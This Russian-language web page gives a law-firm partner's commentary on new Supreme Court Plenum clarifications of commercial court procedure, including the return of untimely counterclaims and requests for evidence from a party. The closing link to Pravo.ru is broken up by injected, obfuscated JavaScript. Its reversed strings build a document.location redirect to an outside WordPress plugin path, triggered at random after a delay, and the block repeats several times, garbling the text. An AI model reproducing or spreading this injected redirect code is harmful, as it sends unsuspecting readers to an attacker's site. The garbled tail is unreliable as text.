Комментарий Алексея Станкевича, партнёра Orchards, для Право.ру.
Читайте подробный разбор новых разъяснений Пленума ВС в материале Право.ру.
Новые разъяснения Пленума позволят юристам лучше подготовиться к арбитражному
процессу в первой инстанции. Верховный суд научил правильно определять
подсудность спора и объяснил, в какой момент можно заявлять дополнительные
требования к иску. Юристам разрешили не представлять суду заверенную копию
диплома, а вот от нормы, что их помощники без образования пользуются теми же
процессуальными правами, решили отказаться.
По мнению Алексея Станкевича, партнёра Orchards, безусловно, принятие
постановления Пленума назрело давно.
Постановление объективно не содержит революционных положений, а обобщает
накопившиеся в правоприменительной практике решения, подходы и позиции.
Особый интерес представляют следующие положения:
1) Пленум прямо обозначил очевидное расширение диапазона процедурных
возможностей суда. Так в п.32 Постановления закреплено право суда возвратить
встречный иск в случае, если такое требование не было своевременно подано
лицом и его подача направлена на затягивание судебного разбирательства.
Границы «своевременности» и «очевидности» при этом лежат исключительно в
плоскости судебного усмотрения. Учитывая, что предъявление иска
непосредственно связана с таким критическим институтом как исковая давность,
то такое положение Постановления может быть крайне чувствительным для
оборота.
Возьмем обычную, стандартную ситуацию, когда лицо, предъявляет встречный
иск, влекущий зачет заявленных требований в последние дни срока исковой
давности. При этом заседание по делу уже назначено через месяц. При
рассмотрении принятия встречного иска суд увидел «несвоевременность»
предъявления встречного иска. Самостоятельный иск наталкивается на аргумент
об истечении срока исковой давности. Лишать сторону права на судебную защиту
только и исключительно потому что суд может увидеть в действиях заявителя
«несвоевременность» представляется чрезмерным. Подобный подход, очевидно,
является стратегически невыверенным.
2) Пункт 37 Постановления Пленума поставил точку в известном споре о том, имеет
ли право суд истребовать доказательства у стороны в споре. Практика по
данному вопросу имела неоднородный характер, нередко суды отказывали в
удовлетворении подобного ходатайства по мотиву того, что сторона свободна в
представлении доказательств и истребование у стороны спора невозможна.
Пленум справедливо снял это ограничение, поскольку действительно,
заинтересованная сторона может иметь обоснованный мотив не раскрывать
критически важные для справедливого и объективного разрешения спора
доказательства.
Читайте весь материал на Право.ru: https://pravo.ru/stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/237844/